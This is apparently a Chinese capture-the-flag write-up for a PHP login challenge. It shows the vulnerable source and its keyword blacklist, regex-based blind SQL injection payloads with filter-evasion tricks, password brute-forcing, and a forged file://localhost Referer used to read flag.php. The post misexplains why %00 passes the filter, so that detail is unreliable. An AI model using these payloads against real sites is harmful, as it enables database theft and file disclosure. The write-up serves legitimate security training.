题目链接: 地址
随便输入用户名和密码后登录,跳到check.php页面
下面是题目源码
<?php
include "config.php";
error_reporting(0);
highlight_file(__FILE__);
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"; // /i 表示不区分大小写(如果表达式里面有 a, 那么 A 也是匹配对象)
if(preg_match($check_list, $_POST['username'])){
die('<h1>Hacking first,then login!Username is very special.</h1>');
}
if(preg_match($check_list, $_POST['passwd'])){
die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
$result = mysql_query($query);
$result = mysql_fetch_array($result); // 从结果集中取得一行作为数字数组或关联数组
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>";
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
$url = $_SERVER["HTTP_REFERER"];
$parts = parse_url($url); // 解析一个URL并返回一个关联数组,包含在URL中出现的各种组成部分
if(empty($parts['host']) || $parts['host'] != 'localhost'){
die('<h1>The website only can come from localhost!You are not admin!</h1>');
}
else{
readfile($url);
}
}
?>
我原本以为这一道 sql 只是个青铜,没想到它却是个王者。
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
当我看到了,这一串过滤名单后,我就知道,这道题注定不凡!!
正则表达式注入介绍
说通俗点就是常用的筛选语句被过滤的时候使用 like 或 regexp 进行匹配。MySQL用WHERE子句对正则表达式提供了初步的支持,允许你指定用正则表达式过滤SELECT检索出的数据。注意:MySQL仅支持多数正则表达式实现的一个很小的子集。regexp支持正则表达式匹配,REGEXP后所跟的东西作为正则表达式处理。
//判断 第一个表名 的 第一个字符 是否在a-z之间
?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
//REGEXP '^[a-z]'即是匹配正则表达式,^表示匹配字符串的开始,[a-z]即匹配字母a-z
//判断第一个表名的第一个字符是n
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
//表达式如下:
expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
//这时说明表名为news ,要验证是否是该表名 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 就行了
// 例如security数据库的表有多个,users,email等
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正确的
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正确
实验表明:在limit 0,1下,regexp会匹配所有的项。我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。而此时limit 0,1,是对于where table_schema='security' limit 0,1。table_schema='security'已经起到了限定作用了,limit有没有已经不重要了。limit 作用在前面的 select 语句中,而不是 regexp。
limit在这里的作用在前面的 select 语句中,而不是 regexp:
查找以Le
开头的用户名:
查找以ck
结尾的用户名:
回到题目中来,我们尝试将按照该题目的sql逻辑构造如下语句:
发现是能够进行真假判断的,如果第一个字母猜对了,我们只需要接着判断前两位的开头是否正确即可,然后以此类推,直到猜出全部字段的值:
题目中的sql语句是这样的:
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";
- 由于过滤了空格,我们用
/**/
绕过 - 由于过滤了# – ,我们用;%00绕过(虽然%00在过滤列表中,但由于浏览器在传给php过程中会经过一次urldecode(),所以php接收到的并不是%00)
- or 可以用 || 或者 ^ 进行绕过
- 反斜杠 \ 没被过滤,思路还是利用转义单引号来构造闭合,然后再在password字段构造盲注语句进行注入。
现在就是如何构造盲注语句,常用的=、>、<、like等逻辑运算都被过滤掉了,这时候就需要用到REGEXP正则注入。在MySQL中除了可以使用LIKE …%进行模糊匹配,同样也支持正则表达式的匹配,其使用REGEXP 操作符来进行正则表达式匹配。
构造payload如下
POST:
username=\&passwd=||passwd/**/REGEXP/**/"^d";%00
sql 语句中 || 符号是连接的意思,抄相当于字符串中的连接符。
即构造了:
select user from user where user='\' and passwd='||passwd/**/REGEXP/**/"^d";%00';
这里有个坑。。我们再回看一下 过滤列表
$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
能看到%00 是过滤列表的,而我们payload的却含有%00,那么,为什么不会被过滤??
经过作者的一番测试发现,参数在传到php的时候,会预先进行一次urldecode。
这就是%00在payload里面,却不会被过滤的秘密了!
那么开始用burp爆破
添加好爆破位置,开始爆破。
第一位爆破成功,是d,
在以d和D开头时都返回了真,是因为使用regexp正则匹配时是不区分大小写,通常来说只需要加上binary即可解决这个问题,如||binary/**/passwd/**/regexp/**/"^a";%00
,但是这一题过滤了 in,所以目前我还没有想到好的方法进行大小写匹配。(Mysql默认查询是不分大小写的,可以在SQL语句中加入 binary来区分大小写;)
开始爆破第二位
第二位爆破成功,为0.
……
依次类推,爆破得到密码为:d0itr1ght
得到了密码,那么就开始登陆。由于过滤了admin,采用admi/**/n
绕过
然后用Referer
利用file://localhost/..
伪造本地读文件即可:
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
$url = $_SERVER["HTTP_REFERER"];
$parts = parse_url($url);
if(empty($parts['host']) || $parts['host'] != 'localhost'){
die('<h1>The website only can come from localhost!You are not admin!</h1>');
}
else{
readfile($url);
}
}
看到登陆成功后,可以进行读文件,那么flag一定在某个文件中,御剑扫一下。
扫到了flag.php
修改referer 为:file://localhost/var/www/html/flag.php ,得到flag
参考:
https://blog.csdn.net/qq_42181428/article/details/105061424
https://blog.csdn.net/weixin_45940434/article/details/103722055